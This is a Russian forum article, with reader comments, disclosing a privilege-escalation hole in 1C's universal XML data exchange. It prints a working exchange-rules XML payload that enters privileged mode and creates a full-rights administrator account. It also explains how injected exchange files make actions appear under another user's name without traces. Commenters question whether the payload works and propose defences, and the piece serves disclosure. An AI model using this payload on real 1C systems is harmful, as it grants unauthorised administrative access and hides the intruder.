Обработка универсального обмена XML и информационная безопасность типовых решений.

Обработка универсального обмена XML — дыра в информационной безопасности типовых?
Статья к обсуждению.

Серверная база, настроены роли и РЛС, даже у главбуха нет доступа ко всем организациям. Административные права только у администратора, добавлять пользователей/роли только через служебные записки. Знакомо?
А теперь добавим в эту базу маленького скромного менеджера, у которого из прав только — выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку — только использование).
Казалось бы, загружать/выгружать данные менеджер может только те, которые ему доступны. Теоретически это так, однако при серьезном подходе через эту обработку он может получить полный и неограниченный доступ к БД. Например, если ему доступна форма обработки, он может создать файл xml, с кодом:

(ПравилаОбмена)
(ВерсияФормата)
2.01
(/ВерсияФормата)
(Ид)
e4d7c6e2-e768-43ee-ac67-18c27fe63791
(/Ид)
(Наименование)
УправлениеТорговлей 11 —) УправлениеТорговлей 11
(/Наименование)
(ДатаВремяСоздания)
2013-04-13T21:59:02
(/ДатаВремяСоздания)
(Источник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)
УправлениеТорговлей
(/Источник)
(Приемник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)
УправлениеТорговлей
(/Приемник)
(ПослеЗагрузкиПравилОбмена)
УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = «Хакер»; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();
(/ПослеЗагрузкиПравилОбмена)
(Параметры/)
(Обработки/)
(ПравилаКонвертацииОбъектов/)
(ПравилаВыгрузкиДанных/)
(ПравилаОчисткиДанных/)
(Алгоритмы/)
(Запросы/)
(/ПравилаОбмена)

и загрузить этот файл, как правило обмена. Прочитать правила обработкой и получить пользователя с полными и административными правами к базе. аналогичным образом можно вывести любую информацию, привилегированный режим позволит выполнить любой запрос к базе данных.
Если нет доступа к обработке, но пользователь совершает загрузку данных — аналогично подменяется xml-файл загрузки.

Вот такие дела вобщем. Проверено на серверной базе. Типовой. Возможно, все об этом и так знали, но кто-то возможно и задумается. давать право выполнять обмены пользователю с неполными правами — значит дать ему полный доступ к вашей базе данных. А раз такой доступ ему не полагается — значит, вы рискуете информационной безопасностью. Может вам повезет. А может и нет, решать вам.

 

зы. И кстати, не обязательно иметь доступ к этой обработке и базе вообще. достаточно иметь доступ к файлу выгрузки, который будет загружаться в вашу базу. В него можно добавить свой код, который выполнится тем человеком(или роботом), который выполняет обмен. После выполнения обмена файл удалится, а все действия в журнале регистрации будут записаны от имени того, кто выполнял обмен. И никаких следов, все чисто.

38 Comments

  1. andrewks

    1С — доступно и всерьёз ©

    Reply
  2. Поручик

    (0) Маленький скромный менеджер со знанием архитектуры и нюансов среды.

    Ржал, как последняя кобыла.

    Reply
  3. andrewks
    После выполнения обмена файл удалится

    почему удалится?

    Reply
  4. Поручик
    После выполнения обмена файл удалится

    Тоже вброшу. С чего бы? В типовых обменах он остаётся на месте, там и близко нет удаления.

    Reply
  5. wirg

    Кстати не стоит недооценивать сообразительность офисного планктона. Вот случай из реальной жизни: довелось мне (еще в эпоху 7.7) автоматизировать ресторан. Технические подробности не очень интересны, но смысл в том, что счет клиенту выводился на экран, официант его распечатывал и нес получившему удовольствие челу. Однажды меня вызвонил разгневанный хозяин и показал счет, в котором сумма по строкам оказалась не равна общей сумме. Как показало следствие я забыл включить защиту для табличного документа mxl, а догадливый официант эту фишку просек и стал спокойно править итоговую сумму, в какую сторону сами знаете. В общем теперь руководствуюсь принципом: любая лазейка рано или поздно будет обнаружена и использована.

    Reply
  6. kapustinag

    (2) Поручик, Думаю, тут не до смеха все-же. Потому что, даже если не найдется «маленького и скромного менеджера со знанием и т д.», у менеджера может найтись друг/знакомый/враг/иной человек, от которого тот зависит, который сможет сделать файл для подмены, и подменить его руками менеджера.

    Reply
  7. kapustinag

    (3) andrewks, (4) Поручик, Конечно, файл не удалится. Но следующий файл, пришедший по обмену, имеет то же самое имя. Поэтому, если никакого архивирования файлов обмена не делается, файл будет затерт более новым файлом. Концы в воду.

    Конечно, Вы это и так знаете. То есть, автор не очень четко написал о последствиях. Но проблема все-равно имеется, это ясно.

    Reply
  8. andrewks

    (7) kapustinag,

    Но проблема все-равно имеется, это ясно

    угу. даёшь защищённый документооборот для обменов!

    Reply
  9. cool.vlad4

    я это заметил еще в http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 , но как-то мысль тогда не развил. но без сомнений — это дыра.

    Reply
  10. davdykin

    Однако, даже не думал в этом направлении, статья безусловно интересная и наводит на определенные размышления. Так что возможно скоро будут фильмы про «Хакеров 1С» :). А на счет офисного планктона — так любопытство — хуже злого умысла.

    Reply
  11. Yashazz

    Архивировать с паролем надо эти файлы обмена, вот что. Хоть какая защита будет. Или передавать так, чтоб перехватить не было возможности, или com-xml-обмен гонять.

    Reply
  12. Stim213

    (11)Архивировать безусловно надо, равно как и настроить доступ к каталогу обмена(если речь идет о спр настройка обмена данными).

    Но если есть доступ к обработке унив обмена XML, то все бесполезно.

    Reply
  13. Stim213

    + форматирование кода ни к черту, заменил теги скобками

    Reply
  14. rozer

    уфф, хорошо что у нас «самописка» на 8.1… УстановитьПривилегированныйРежим(Истина) придумали только в 8.2 🙂 Хотя в «ПослеЗагрузкиПравилОбмена» можно добавить и любую деструкцию… например удалить непосредственно если роль позволяет 🙁

    Reply
  15. Silenser

    Прошу прощения, а в какой вселенной у

    скромного менеджера

    права на

    выгружать/загружать данные. Либо непосредственно через обработку универсального обмена XML, либо через справочник настройки обмена(права на обработку — только использование).

    , то есть фигурально выражаясь, права на внешние обработки или доступ к системным настройкам обменов? При таком подходе они на флешке такого принесут, что потом бекап не спасет. Если уж нужно что-то универсальное, пишите оболочку над универсалкой и ставьте пароль на архив файла обмена. Тут нужно исходить из законов Мерфи, если пользователи могут что-то поломать — они поломают, надеяться на здравый смысл бесполезно.

    Reply
  16. soba

    Вот это дырочка! Похоже при настройке обменов нужно жестко все прописывать без возможности изменения, отключать достп к файлам обмена и шифровать/дешифровать на этапе транспортировки. Код получения доступа зачетный. И, кстати, никто ведь не мешает с правами админа зачистить логи по получению прав. Или я не прав?

    Reply
  17. stagov

    (16) soba,

    А разве она там одна!? Ваше удивление просто обескураживает.

    Reply
  18. yuraos

    (1) andrewks,


    1С — доступно и всерьёз ©

    Hackers of all Wold — HACK IT !!!

    Reply
  19. СергейКа

    На самом деле есть некоторые нюансы 🙂

    Данный код сработает не всегда и не везде.

    Дырка безусловно есть, но не все так страшно.

    Reply
  20. МимохожийОднако

    1С по своей сути мало приспособлена для защиты информации от чтения иили изменения.

    Reply
  21. Stim213

    (20) Особенно файловая база 🙂

    Reply
  22. Stim213

    + практическое продолжение статьи:

    http://infostart.ru/public/183336/

    Reply
  23. soba

    (17) stagov, Ну такая действительно удивила. Как-то не приходилось в этом направлении ковыряться

    Reply
  24. stagov

    (23) soba,

    таки да. народ то наш придумковатый. и любознательный

    Reply
  25. s_uu

    а нельзя настроить автоматический обмен??

    Reply
  26. yuraos

    (25) s_uu,

    в каком смысле автоматический обмен?

    спамить по почте файликами с хакерской ХМЛ-загрузкой

    и подламывать всем 1С-ки ???

    Reply
  27. iov

    способ этот известен. он позволяет даже больше. Но на всеобщее не был выложен… Чтож теперь нужны статьи как защищаться.

    Хотя решения аналогичны тем которые используют при конфиденциальной передаче информации.

    Хотя говорить о защищенности 1С вообще не стоит.

    Reply
  28. LexSeIch

    Мир этому дому!

    Автору спасибо за статью. Предупрежден — значит вооружен. Хотя на счет вооружен — погорячился… Защитится от деструктивных действий пользователей не просто. Статус (или ответственность) человека делающего обмен повышается. «Практические приложения» — появляются и будут расти как грибы…

    Reply
  29. Evil Beaver

    Не хочется лезть проверять, но разве код из правил не выполняется в безопасном режиме? Если так, то УстановитьПривилегированныйРежим не сработает.

    Reply
  30. yuraos

    Проверка спама из рубрики «Выбор экспертов» (дубль 1).

    Reply
  31. yuraos

    (30)

    Проверка спама из рубрики «Выбор экспертов» (дубль 2).

    Reply
  32. ta44ik

    А еще это способ восстановить пароль — точнее создать пользователя с правами на конфигуратор) Всякое же бывает)

    Reply
  33. ivanov660

    Вроде это баян. Всем давно известно, что использование универсального обмена без контроля может обернуться проблемами, я сам, частенько, когда что-то отлаживаю правлю код прямо в xml файле.

    Однако, можно использовать бекап sql-серверов, защищенные папки для обмена (глупо использовать папку для обмена с общим доступом), использовать антивирусы и др. стандартные средства.

    Reply
  34. Bassgood

    (0) А зачем вообще заморачиваться именно с обработкой обмена?

    Если у пользователя есть право использования внешних отчетов/обработок, то аналогичный код он может прописать в своей собственной обработке/отчете и запустить его в режиме предприятия, результат будет тот же, только морочиться придется меньше.

    Reply
  35. Bassgood

    (0) Судя справке синтакс-помощника к методу «УстановитьПривилегированныйРежим()» — в клиент-серверном режиме работы базы метод управляет привилегированным исполнением кода только при его вызове на стороне сервера, т.е. в обычном режиме работы конфигурации через обработки/отчеты установить этот режим не получится (модуль объекта и формы исполняются на стороне клиента), то что касается управляемых форм, то для предотвращения таких случаев необходимо использовать метод «УстановитьБезопасныйРежим()», о чем было упомянуто в (29).

    Т.е. получается, что права на использование внешних штук куда более опасная вещь, нежели права на выполнение обменов данными.

    Reply
  36. gradus
    Проверено на серверной базе.

    Интересно, а файловый режим работы с базой данных будет иметь эту уязвимость? Или там своих хватает) ?

    Reply
  37. alexqc

    Одно из первейших правил: никакого выполнения пользовательских данных!

    Reply
  38. xamass

    (36) gradus, Выгрузка загрузка данных не зависит от среды хранения базы

    Reply

Leave a Comment

Ваш адрес email не будет опубликован. Обязательные поля помечены *